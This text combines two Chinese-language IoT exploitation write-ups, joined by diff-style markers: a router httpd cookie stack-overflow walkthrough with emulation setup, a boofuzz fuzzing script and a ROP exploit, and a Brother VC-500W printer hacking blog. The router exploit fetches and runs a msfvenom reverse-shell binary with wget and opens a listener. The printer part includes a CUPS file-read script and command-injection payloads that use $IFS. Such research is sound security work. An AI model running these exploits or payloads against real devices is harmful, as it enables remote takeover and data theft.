|
||||
#endif
|
||||
#ifdef WEBS_SSL_SUPPORT
|
||||
websSSL_t *wsp; /* SSL data structure */
|
||||
#endif
|
||||
} websRec;
|
||||
-------------------------------------------------------------------------------------------------------------
|
||||
【2】:
|
||||
typedef websRec *webs_t;
|
||||
```
|
||||
在IDA中导入结构体,修复之后的效果如下:
|
||||

|
||||
漏洞存在的原因很明显,存在栈溢出:
|
||||
1.程序没有限制用户的cookie长度
|
||||
2.sscanf在解析参数的时候没有限制解析的长度
|
||||
```c
|
||||
// gcc -g test.c -o test
|
||||
# include <stdio.h>
|
||||
# include <string.h>
|
||||
int main(){
|
||||
char* str = "username=cyberangel;passwd=IoT;whoami=root";
|
||||
char result[100] = "";
|
||||
char* p = "";
|
||||
p = strstr(str, "passwd=");
|
||||
printf("strstr() result is %s\n", p);
|
||||
sscanf(p, "%*[^=]=%[^;];*", result);
|
||||
printf("Regular Expression is %s\n", result);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||

|
||||
解析后的结果为cookie的passwd。为了让fuzzer能fuzz到崩溃点,poc要满足以下条件:
|
||||

|
||||
很简单,只需要让我们的请求中包含"/goform/xxx"就可以靠近漏洞点(注意strncmp的返回值,相同为假)。那我们就拿/goform/cyberangel来测试吧,在docker中验证是否能够栈溢出:
|
||||
```c
|
||||
import requests
|
||||
import socket
|
||||
import socks
|
||||
import http
|
||||
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345) # socket代理
|
||||
socket.socket = socks.socksocket
|
||||
|
||||
def main():
|
||||
url = "http://192.168.2.2/goform/cyberangel"
|
||||
try:
|
||||
cookie = {"Cookie":"password=" + "A"*501}
|
||||
res = requests.get(url=url,cookies=cookie)
|
||||
print(res.text)
|
||||
except:
|
||||
print("overflow!")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||

|
||||
由于httpd崩溃(DOS攻击)导致触发python异常:
|
||||

|
||||
curl --location:解析重定向之后的网页。
|
||||
# 3、Docker(qemu-system)
|
||||
docker中使用的是qemu-system,在拉取镜像后启动容器:sudo docker run -it --privileged -p 1234:22 c1687db529e0 /bin/bash 之后直接运行/root/run.sh以一步启动模拟环境,时间稍微有点长,在此过程中请耐心等待:
|
||||

|
||||
新建虚拟机终端,执行ssh -D 2345 root@127.0.0.1 -p 1234在本地开启端口转发,即让docker暴露的1234端口转发到本地的2345,ssh密码为cyberangel。然后将浏览器的代理设置为socket:
|
||||

|
||||
最后在浏览器中访问[http://192.168.2.2/main.html就能访问到路由器的管理页面了](http://192.168.2.2/main.html就能访问到路由器的管理页面了),相当于流量的路径是这样的:虚拟机 -> Docker -> Qemu。核心启动脚本run.sh如下:
|
||||
- 192.168.2.1:docker内部ip
|
||||
- 192.168.2.2:qemu的ip
|
||||
|
||||
```c
|
||||
#/bin/bash
|
||||
|
||||
//解压路由器固件
|
||||
cd /root/firmware
|
||||
rm -r ./_* # 删除之前解压的后的文件
|
||||
binwalk -e *.bin # 重新解压路由器固件
|
||||
cd _*/
|
||||
pwd
|
||||
tar czf squashfs-root.tar.gz ./squashfs-root && rm -r ./squashfs-root # 对文件系统进行打包
|
||||
cd /root
|
||||
|
||||
# 启动 ssh 服务
|
||||
service ssh start
|
||||
|
||||
# 配置网卡
|
||||
tunctl -t tap0
|
||||
ifconfig tap0 192.168.2.1/24
|
||||
|
||||
# 启动 http 服务
|
||||
nohup python3 -m http.server 8000 1>&/dev/null & #启动http服务,方便之后下载tools目录下具有反弹shell功能的可执行文件msf
|
||||
|
||||
# 进入 qemu 镜像目录
|
||||
cd /root/qemu-system/armhf/images
|
||||
|
||||
# 自动化docker容器与qemu交互脚本
|
||||
/usr/bin/expect<<EOF
|
||||
set timeout 10000
|
||||
spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
|
||||
|
||||
expect "debian-armhf login:"
|
||||
send "root\r"
|
||||
expect "Password:"
|
||||
send "root\r"
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "ifconfig eth0 192.168.2.2/24\r"
|
||||
|
||||
#expect "root@debian-armhf:~# "
|
||||
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "scp [email protected]:/root/firmware/_*/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
|
||||
expect {
|
||||
"(yes/no)? " { send "yes\r"; exp_continue }
|
||||
"password: " { send "cyberangel\r" }
|
||||
}
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
|
||||
expect "root@debian-armhf:~# "
|
||||
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "scp -r [email protected]:/root/tools /root/squashfs-root/tools\r"
|
||||
expect {
|
||||
"(yes/no)? " { send "yes\r"; exp_continue }
|
||||
"password: " { send "cyberangel\r" }
|
||||
}
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "chmod +x ./squashfs-root/tools/patch.sh && /bin/sh ./squashfs-root/tools/patch.sh\r"
|
||||
|
||||
expect "root@debian-armhf:~# "
|
||||
send "chroot squashfs-root/ sh\r"
|
||||
expect "# "
|
||||
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
|
||||
expect "# "
|
||||
send "/bin/httpd 1>/dev/null 2>&1 &\r"
|
||||
expect "# "
|
||||
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"
|
||||
|
||||
expect eof
|
||||
EOF
|
||||
```
|
||||
qemu-system模拟的核心命令如下:
|
||||
```c
|
||||
$ mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc
|
||||
$ chroot squashfs-root/ sh
|
||||
$ /bin/httpd
|
||||
$ sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh # 获取/lib/libc.so的基地址
|
||||
```
|
||||
自动patch可执行文件的脚本(机器码):
|
||||
```c
|
||||
#!/bin/bash
|
||||
|
||||
# patch connectcfm 和 check_network 的返回值为1 "mov r3, #1"
|
||||
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151476 conv=notrunc
|
||||
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151440 conv=notrunc
|
||||
|
||||
```
|
||||
docker的http服务(8000端口):
|
||||

|
||||
# 4、fuzz漏洞点
|
||||
这里使用boofuzz这个工具,编写脚本时可以参考官方手册:[https://boofuzz.readthedocs.io/en/stable/user/install.html](https://boofuzz.readthedocs.io/en/stable/user/install.html)。
|
||||
整个流程很简单,只需利用boofuzz里面的库仿写请求就行了,需要注意的点我都用中文或英文注释到了下面,相信你一看就懂:
|
||||
```c
|
||||
from boofuzz import *
|
||||
import socket
|
||||
import socks
|
||||
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345)
|
||||
socket.socket = socks.socksocket
|
||||
|
||||
|
||||
def check_response(target, fuzz_data_logger, session, *args, **kwargs):
|
||||
# callback
|
||||
fuzz_data_logger.log_info("Checking this response...")
|
||||
fuzz_data_logger.log_info("We will receive 512 bytes data...")
|
||||
try:
|
||||
response = target.recv(512)
|
||||
except:
|
||||
fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
|
||||
target.close() # close this target (fuzzer's thread)
|
||||
return
|
||||
|
||||
# if empty response
|
||||
if not response:
|
||||
fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
|
||||
target.close()
|
||||
return
|
||||
|
||||
fuzz_data_logger.log_info("response check...\n" + response.decode())
|
||||
target.close()
|
||||
return
|
||||
|
||||
|
||||
def main():
|
||||
session = Session( # create a new session
|
||||
target=Target(
|
||||
connection=SocketConnection("192.168.2.2", 80, proto="tcp"),
|
||||
),
|
||||
post_test_case_callbacks=[check_response],
|
||||
# post_test_case_callbacks (list of method)
|
||||
# – The registered method will be called after each fuzz test case. Default None.
|
||||
# so , check_response is callback function
|
||||
)
|
||||
|
||||
s_initialize(name="Request") # initialize a new block request , the param named "name" is string type
|
||||
|
||||
with s_block("Request-Header"): # open and set a new block under the current request
|
||||
'''
|
||||
s_static(value: Any = None, name: str = None):在fuzz过程中不会突变的变量
|
||||
s_string(value: str = "", size: int = None, padding: Any = b"\u0000", encoding: str = "ascii", fuzzable: bool = True, max_len: int = None, name: str = None) -> None
|
||||
和static相似,但s_string更具扩展性,可以指定该数据在fuzz的过程中是否发生突变
|
||||
'''
|
||||
'''
|
||||
Request Format:
|
||||
GET /goform/cyberangel HTTP/1.1
|
||||
Host: 192.168.2.2
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
'''
|
||||
# Line 1
|
||||
s_static("GET", name="Method") # set request method
|
||||
s_static(" ", name="space-1-1")
|
||||
s_static("/goform/cyberangel") # set url
|
||||
s_static(" ", name="space-1-2")
|
||||
s_static("HTTP/1.1", name="HTTP_VERSION") # set http version
|
||||
s_static("\r\n", name="Request-Line-CRLF-1") # each piece of data is backed by a "\r\n"
|
||||
|
||||
# Line 2
|
||||
s_static("Host:")
|
||||
s_static(" ", name="space-2-1")
|
||||
s_static("192.168.2.2", name="IP address")
|
||||
s_static("\r\n", name="Request-Line-CRLF-2")
|
||||
|
||||
# Line 3
|
||||
s_static("User-Agent:", name="User-Agent")
|
||||
s_static(" ", name="space-3-1")
|
||||
s_static("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",name="User-Agent-Value")
|
||||
s_static("\r\n", name="Request-Line-CRLF-3")
|
||||
|
||||
# Line 4
|
||||
s_static("Accept:", name="Accept")
|
||||
s_static(" ", name="space-4-1")
|
||||
s_static("text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", name="Accept-Value")
|
||||
s_static("\r\n", name="Request-Line-CRLF-4")
|
||||
|
||||
# Line 5
|
||||
s_static("Accept-Language:", name="Accept-Language")
|
||||
s_static(" ", name="space-5-1")
|
||||
s_static("en-US,en;q=0.5",name="Accept-Language-Value")
|
||||
s_static("\r\n", name="Request-Line-CRLF-5")
|
||||
|
||||
# Line 6
|
||||
s_static("Accept-Encoding:", name="Accept-Encoding")
|
||||
s_static(" ", name="space-6-1")
|
||||
s_static("gzip, deflate", name="Accept-Encoding-Value")
|
||||
s_static("\r\n", name="Request-Line-CRLF-6")
|
||||
|
||||
# Line 7
|
||||
s_static("Connection:")
|
||||
s_static(" ", name="space-7-1")
|
||||
s_static("keep-alive", name="Connection state")
|
||||
s_static("\r\n", name="Request-Line-CRLF-7")
|
||||
|
||||
'''
|
||||
important
|
||||
'''
|
||||
# Line 8
|
||||
'''
|
||||
"Cookie: password=cyberangel"
|
||||
'''
|
||||
s_static("Cookie: ")
|
||||
s_static("password=", name="key-password")
|
||||
s_string("cyberangel", fuzzable=True) # fuzz password
|
||||
s_static("\r\n", name="Request-Line-CRLF-8")
|
||||
# over
|
||||
s_static("\r\n")
|
||||
s_static("\r\n")
|
||||
|
||||
|
||||
session.connect(s_get("Request"))
|
||||
try:
|
||||
session.fuzz() # if except, and the socket proxy has disconnected, httpd is crashed
|
||||
except:
|
||||
print("overflow!")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
效果如下:
|
||||

|
||||
fuzzer发送了大量变异后的字符串导致httpd崩溃,看起来成功了。打开同目录下自动生成的boofuzz-result文件夹,执行boo open [log_name].db以查看日志:
|
||||

|
||||

|
||||
在第20轮fuzz的时候崩溃,说明第19轮发送的数据导致崩溃:
|
||||

|
||||
# 5、exp
|
||||
关于利用就很简单了,溢出后执行system("/msf")并反弹shell:
|
||||
```c
|
||||
# https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/baseImage/msf
|
||||
# 使用 Metasploit生成的反向shell:
|
||||
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-arm
|
||||
$ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mipsel
|
||||
$ msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mips
|
||||
```
|
||||
感兴趣可以自己看看:
|
||||
```c
|
||||
#!/usr/bin/python3
|
||||
# 该脚本只在docker内部生效,懒,不想改了...
|
||||
|
||||
import requests
|
||||
from pwn import *
|
||||
from threading import Thread
|
||||
|
||||
cmd = b'wget http://192.168.2.1:8000/tools/msf -O /msf '
|
||||
cmd += b'&& chmod 777 /msf '
|
||||
cmd += b'&& /msf'
|
||||
|
||||
assert(len(cmd) < 255)
|
||||
|
||||
libc_base = 0x76de8000 # 记得换libcbase
|
||||
|
||||
system = libc_base + 0x5A270
|
||||
mov_r0_ret_r3 = libc_base + 0x40cb8
|
||||
pop_r3 = libc_base + 0x18298
|
||||
|
||||
payload = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
|
||||
|
||||
url = "http://192.168.2.2:80/goform/cyberangel"
|
||||
cookie = {"Cookie": 'password='+payload.decode('latin1')}
|
||||
|
||||
def attack():
|
||||
try:
|
||||
requests.get(url, cookies=cookie)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
thread = Thread(target=attack)
|
||||
thread.start()
|
||||
|
||||
p = listen(31337)
|
||||
p.wait_for_connection()
|
||||
log.success("getshell")
|
||||
p.interactive()
|
||||
|
||||
thread.join()
|
||||
```
|
||||

|
||||
完
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,507 @@
|
||||
# Brother VC-500W 打印机
|
||||
> IOTsec-Zone
|
||||
> 来源:https://www.iotsec-zone.com/article/472
|
||||
|
||||
如果您只想利用:zinkpwn
|
||||
|
||||
我们的主角是 Brother 品牌的 VC-500W。安装打印机时,我发现它暴露了一个彻头彻尾的中世纪版本
|
||||
的 CUPS。这种体验就像是从抽屉里拿出一部旧的 Android 手机,惊讶于它的界面有多么陈旧。你还记
|
||||
得 CUPS 曾经有那个糟糕的渐变导航栏吗?
|
||||
|
||||

|
||||
|
||||
这唤起了我脑海中的某些东西,立即让我想要更加深入地去研究一下,因为一台全新的设备竟然配备了
|
||||
2012年版本的CPUS?这令人感觉有些蹊跷。
|
||||
|
||||
# 实际上,这真的相当的糟糕
|
||||
初始化设置包括一个单独的网络Wi-fi设置按钮,后台使用了一些 CGI 脚本来进行配合处理。
|
||||
|
||||

|
||||
|
||||
这这个过程中,我发现了一些奇怪的事情,例如:用于连接到指定wifi网络的非常长的GET请求:
|
||||
|
||||
```
|
||||
http://192.168.247.17/wificonfig?page=4&
|
||||
password=bWFkZXVsb29rISEK&
|
||||
number=01&
|
||||
Address=D6%3A01[snip]&
|
||||
ESSID=[snip]& Encryption_key=on&
|
||||
IE0_label=WPA+Version+1&
|
||||
IE0_Group_Cipher=CCMP&
|
||||
IE0_Pairwise_Ciphers=CCMP&
|
||||
IE0_Authentication_Suites=PSK&
|
||||
IE1_label=[snip]&
|
||||
IE1_Group_Cipher=CCMP&
|
||||
IE1_Pairwise_Ciphers=CCMP&
|
||||
IE1_Authentication_Suites=PSK&
|
||||
Quality=100%2F100&
|
||||
selected_ap=[snip]+(100%2F100)
|
||||
```
|
||||
但我暂时忽略了他们,继续往下研究,我检查了mikrotik以查看打印机从DHCP服务器获取的租约,并
|
||||
且...
|
||||
|
||||

|
||||
|
||||
抱歉,我起初没有注意到整个字符串,后来在关闭多余的窗口时才发现这一点。我一看就傻眼了:CUPS
|
||||
版本已经有 10 多年的历史了,Linux 内核也几乎老到可以喝酒的年纪,而这些都在一个 ARMv5 上运
|
||||
行。这是在一个仍在生产的设备上,你现在还可以买到它。
|
||||
|
||||
现在我必须去调研一下。
|
||||
|
||||
初步的调研包括从网上检索相关设备,看看是否有人曾尝试去破解它。我发现的唯一结果是这个github
|
||||
repo,它表面上提供了一些有用的信息,,主要是关于它们托管固件的位置。实际上,升级包是.tgz.gpg
|
||||
格式,这……并没有告诉我太多信息,但仍然让人感到精神上的痛苦。我现在没有用到这些,但它们肯
|
||||
定会在以后派上用场。
|
||||
|
||||
另外,我还检索量该年份的CUPS漏洞,事实证明,我的版本是最后一个容易受到任意文件读/写漏洞。
|
||||
(通常被误归功于 CVE-2012-5519)仍然存在的版本。通过一些Copy as cURL 的技巧,我准备了一个
|
||||
脚本:
|
||||
|
||||
exp.sh,一个通用的脚本,用于通过 CUPS 漏洞获取任何文件
|
||||
|
||||
```
|
||||
#!/bin/bash
|
||||
if [[ ! "$1" ]];
|
||||
echo "usage: $0 "
|
||||
fi
|
||||
curl 'http://192.168.247.17:631/admin/' -X POST \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
-H 'Cookie: org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
|
||||
|
||||
--data-raw 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05&OP=configserver&CUPSDCONF=LogLevel+debug%0D%0ASystemGroup+root%0D%0AGroup+3003%0D%0AServe
|
||||
rAlias+*%0D%0A%23+Allow+remote+access%0D%0APort+631%0D%0AListen+%2Fvar%2Frun%2Fc
|
||||
ups%2Fcups.sock%0D%0ABrowsing+On%0D%0ABrowseOrder+allow%2Cdeny%0D%0ABrowseAllow+
|
||||
all%0D%0ABrowseLocalProtocols+all%0D%0ABrowseWebIF+No%0D%0AMaxJobs+8%0D%0AMaxCli
|
||||
ents+5%0D%0AMaxLogSize+5000000%0D%0APreserveJobFiles+No%0D%0APreserveJobHistory+
|
||||
Yes%0D%0ADefaultAuthType+Basic%0D%0ADefaultEncryption+Required%0D%0AWebInterface
|
||||
+Yes%0D%0APageLog+%2F'"$1"'%0D%0A%3CLocation+%2F%3E%0D%0A++%23+Allow+remote+admi
|
||||
nistration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%
|
||||
0D%0A%3CLocation+%2Fadmin%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Or
|
||||
der+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadm
|
||||
in%2Fconf%3E%0D%0A++%23+Allow+remote+access+to+the+configuration+files...%0D%0A+
|
||||
+Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CPolicy+defau
|
||||
lt%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++Sub
|
||||
scriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%
|
||||
3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit
|
||||
%3E%0D%0A%3C%2FPolicy%3E%0D%0A%3CPolicy+authenticated%3E%0D%0A++JobPrivateAccess
|
||||
+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+defaul
|
||||
t%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order
|
||||
+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0
|
||||
A&SAVECHANGES=Save+Changes' >/dev/null
|
||||
# sorry for this being so long, i have no way to format it sanely x.x
|
||||
until curl -s http://192.168.247.17:631/admin/log/page_log; do
|
||||
:
|
||||
done
|
||||
```
|
||||
|
||||
我发现的 PoC 使用了ErrorLog指令,这会在文件中附加很多无用信息。在我的测试过程中,我不小心
|
||||
对 /etc/passwd 做了这个操作;幸运的是,因为 CUPS 不会截断文件,所以没有造成任何损害。后来我
|
||||
发现,使用 PageLog 可以达到同样的效果,而且几乎不会损害文件。我们稍后会讨论这个“几乎”。
|
||||
passwd,删除尾随垃圾以提高可读性
|
||||
|
||||
```
|
||||
root:x:0:0:root:/root:/bin/sh
|
||||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
bin:x:2:2:bin:/bin:/bin/sh
|
||||
sys:x:3:3:sys:/dev:/bin/sh
|
||||
sync:x:4:100:sync:/bin:/bin/sync
|
||||
mail:x:8:8:mail:/var/spool/mail:/bin/sh
|
||||
proxy:x:13:13:proxy:/bin:/bin/sh
|
||||
www-data:x:33:33:www-data:/var/www:/bin/sh
|
||||
backup:x:34:34:backup:/var/backups:/bin/sh
|
||||
operator:x:37:37:Operator:/var:/bin/sh
|
||||
haldaemon:x:68:68:hald:/:/bin/sh
|
||||
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
|
||||
ftp:x:83:83:ftp:/home/ftp:/bin/sh
|
||||
nobody:x:99:99:nobody:/home:/bin/sh
|
||||
sshd:x:103:99:Operator:/var:/bin/sh
|
||||
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
|
||||
```
|
||||
很遗憾,/etc/passwd 并没有提供特别有趣的信息。我还尝试了 /etc/shadow,但没有发现任何密码哈
|
||||
希。不过,/bin/sh 的内容更有价值:
|
||||
|
||||
```
|
||||
domi@zork:~/projects/bro$ file sh
|
||||
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
|
||||
interpreter /lib/ld-uClibc.so.0, stripped
|
||||
|
||||
domi@zork:~/projects/bro$ strings sh | grep -i busy
|
||||
-r Try to remount devices as read-only if mount is busy
|
||||
busybox
|
||||
Usage: busybox [function] [arguments]...
|
||||
or: busybox --list[-full]
|
||||
BusyBox is a multi-call binary that combines many common Unix
|
||||
link to busybox for each function they wish to use and BusyBox
|
||||
BusyBox v1.19.4 (2018-05-14 11:11:59 EDT)
|
||||
crond (busybox 1.19.4) started, log level %d
|
||||
anonymous:busybox@
|
||||
syslogd started: BusyBox v1.19.4
|
||||
%s busy - remounted read-only
|
||||
fsck (busybox 1.19.4, 2018-05-14 11:11:59 EDT)
|
||||
```
|
||||
如我所料,它是一个古老版本的 BusyBox。我考虑过利用 ErrorLog 来利用 BusyBox 中的
|
||||
nc(netcat),并将一个远程 shell 附加到某个初始化脚本中,但我决定先看看 CGI 方面的情况。
|
||||
|
||||
# 供应商的惊喜
|
||||
在初始设置之后,工具的功能扩展提供了一些额外的设置选项。我们可以重命名共享打印机(遗憾的
|
||||
是,这里没有注入的可能性),而且…可以设置自定义 TLS 证书?
|
||||
|
||||

|
||||
|
||||
我很快发现,在任何输入字段中使用 $(), `,甚至只是 ; 都可能导致代码执行。
|
||||
用于获取输出的小脚本;下载 CSR 并使用 OpenSSL 解析它
|
||||
|
||||
```
|
||||
rm generated.csr
|
||||
wget http://192.168.247.17/generated.csr
|
||||
cat generated.csr | openssl req -noout -text
|
||||
```
|
||||
|
||||

|
||||
|
||||
值得注意的是,发现这还不是最终结果。我的字符集非常有限,这使得启动反向 shell 非常困难。通过
|
||||
反复试验,我发现不能使用斜杠(oof.)和空格(OOF.),但$和{}却没有问题。
|
||||
|
||||
# 环境变量,我的挚爱
|
||||
当我在利用漏洞时不能使用某个特定字符时,我最喜欢的技巧是退后一步,看看我们已有的资源。很多
|
||||
时候,你可以在 $PS1 或其他常见的环境变量中找到你需要的东西。就我来说,$IFS(内部字段分隔
|
||||
符!你的 shell 可能用它来在循环等操作中分隔文本)非常有效。我用它来在参数之间插入空格。
|
||||
|
||||
```
|
||||
./generic.sh 'http://192.168.247.17/cgi-bin/certmgr/generate_request?'\
|
||||
'C=AT&'\
|
||||
'ST=b&'\
|
||||
'L=d"$(head${IFS}-n1${IFS}/etc/passwd|cat)"&'\
|
||||
'O=asdf&'\
|
||||
'OU=meow&'\
|
||||
'CN=uwu&'\
|
||||
'emailAddress=ja%40sdomi.pl&'\
|
||||
'Generate=Generate'
|
||||
```
|
||||
在某个时刻,我搞砸了一些东西。或者说,我以为我搞砸了——我的漏洞利用仍然有效,但管理员页面
|
||||
上的许多东西都为空。我怀疑自己在发出的某个请求中破坏了什么,所以我重启了设备。结果这成为了
|
||||
一个严重的错误,因为重启后,CGI 管理界面无法启动,CUPS 也只部分正常工作(管理页面返回 500
|
||||
错误)。哎。
|
||||
|
||||
我最后运行的命令是尝试将 /etc/passwd 复制到其他位置,以查看那个地方是否可写。我怀疑自己搞砸
|
||||
了,可能破坏了 /etc/passwd,这让这导致我进入了一个长达一小时来修复它。
|
||||
|
||||
假设:/etc/passwd 现在已经损坏,但我可以利用 CUPS 的漏洞来重新创建它,对吧?当通过 PageLog
|
||||
检索 /etc/passwd 时,它看起来像是一些随机的二进制文件,所以这个想法至少听起来有些合理。不幸
|
||||
的是,经过一个小时的尝试,我发现之前的 CUPS 漏洞不再有效——配置文件不再被写入了。
|
||||
|
||||
我深入调查了一下。CUPS 显然包含了两种不同的编辑配置的方法——一种是通过向 /admin/ 发起表单
|
||||
POST 请求(这已经不再有效),另一种是通过向 /admin/conf/ 发起 PUT 请求。此外,我还可以通过
|
||||
GET 请求相同的文件来检查其内容。
|
||||
|
||||
我再次获取了 /etc/passwd。它的末尾有一些垃圾数据,但这没关系(常见的解析工具对语法非常宽
|
||||
容)。所以,可能是其他地方出了问题……
|
||||
|
||||
拥有在 /etc/cups/ 目录内的任意写入权限(我尝试了经典的 /admin/conf/%2e%2e%2fpasswd,但它
|
||||
并没有漏洞),我开始思考如何利用这一点来获得远程代码执行(RCE)并修复我所破坏的内容。我考
|
||||
虑过重写 printers.conf,然后利用 CUPS 过滤器来直接获取 shell,或者获得系统任意位置的文件写入
|
||||
权限,并利用这些权限来获取 shell。
|
||||
|
||||
我在本地创建了一个测试的 CUPS 环境。我花了几个小时尝试获得简单的任意文件写入权限,但即使在
|
||||
CUPS 配置中拥有所有自由,我也没有成功。最终,我放弃了在利用链中使用过滤器——很可能我可以
|
||||
通过它们获得某些东西,但我对 CUPS 的理解不够深入,而且我不太想进一步学习有关打印机的知识。
|
||||
|
||||
作为最后的尝试,我回到了最初的想法——利用 ErrorLog 实现任意文件写入。我发现 CUPS 1.6.1 在记
|
||||
录错误时不正确地解析 URL,因此我可以将 %0a 转换为真正的换行符。这很不错,但我仍然需要找到
|
||||
一个合适的文件来利用这个漏洞……
|
||||
|
||||
# 装满数据 S3 存储桶
|
||||
只有当你在遇到需要猜测文件名的漏洞时,才会真正体会到文件列表的重要性。但是,如果我可以在没
|
||||
有任何限制的情况下直接查看基础镜像会怎么样呢?
|
||||
|
||||

|
||||
我一开始找到的 GitHub 仓库提供了一个链接,指向了 [http://cdn.zinkapps.com/](http://cdn.zinkapps.com/)。看起来请求根路径
|
||||
/ 可以得到完整的文件列表,至少截至 2024-06-29 是这样。列表的最上面有一些元文件,然后是一些
|
||||
Web 界面的元素,接着是一些日志文件(???),最后是大量的 .tgz.gpg 文件。.gpg 扩展名似乎是
|
||||
伪造的——根据 file 命令,这些文件只是经过 OpenSSL 加密的。这使得它们更容易加密和解密,但与GPG 不同,密钥是对称的;如果找到了解密密钥,制作自己的升级包将变得非常简单。
|
||||
|
||||

|
||||
不过,我可能还是需要逆向工程其中一个本地二进制文件才能找到密钥。幸运的是,运气站在我这边!
|
||||
很多文件同时以 .tgz.gpg 和普通 .tgz 格式上传了。哎呀?
|
||||
|
||||
# 让我们来探索吧
|
||||
我下载了一个名为 zinkupgrade-latest.tgz 的文件,最后修改时间是 2021 年 5 月。如果你有兴趣在家
|
||||
里尝试一下,它可以在这里找到。
|
||||
这个系统是一个自定义的 Buildroot 环境,软件选择有些特殊。他们嵌入了 BusyBox 和 Microperl 来
|
||||
节省空间,但却使用了完整版本的 OpenSSH、OpenSSL 和 CUPS。我只能推测这个项目经过了许多薪
|
||||
水不高的工程师处理,这与我在文件中发现的情况确实一致。
|
||||
|
||||
/etc/init.d/S91zink 的摘录
|
||||
|
||||
```
|
||||
# Check hardware id nibble.
|
||||
if devmem 0xf0000ede | grep '[8A].$' > /dev/kmsg
|
||||
then
|
||||
MODEL=wedge
|
||||
# Zink electronics driver module.
|
||||
insmod /etc/zbe_printer_W.ko
|
||||
elif devmem 0xf0000ede | grep '[9].$' > /dev/kmsg
|
||||
then
|
||||
MODEL=turbob
|
||||
insmod /etc/zbe_printer_T.ko
|
||||
fi
|
||||
```
|
||||
初始化脚本中提到了一些名为“Wedge”和“Turbob”的设备,一些配置文件也专门为“hAppy”设置。搜索
|
||||
“hAppy”会引导我到 zink.com 网站。
|
||||
|
||||
哦,真是的。看来 Zink 是原始设备制造商(OEM),而 Brother 只是把自己的logo和品牌贴在上面。
|
||||
真可耻!
|
||||
从我最不喜欢的一个亚马逊网站(Amazon)的产品评论网站来看。第一条评论来自 2015 年左右。我
|
||||
不确定 zink 是从一开始就授权这款打印机,还是后来开始的因为它没有卖 - 但似乎他们有一个特定的设
|
||||
计,他们很乐意尽可能长时间地榨取它,而且尽可能便宜。
|
||||
|
||||
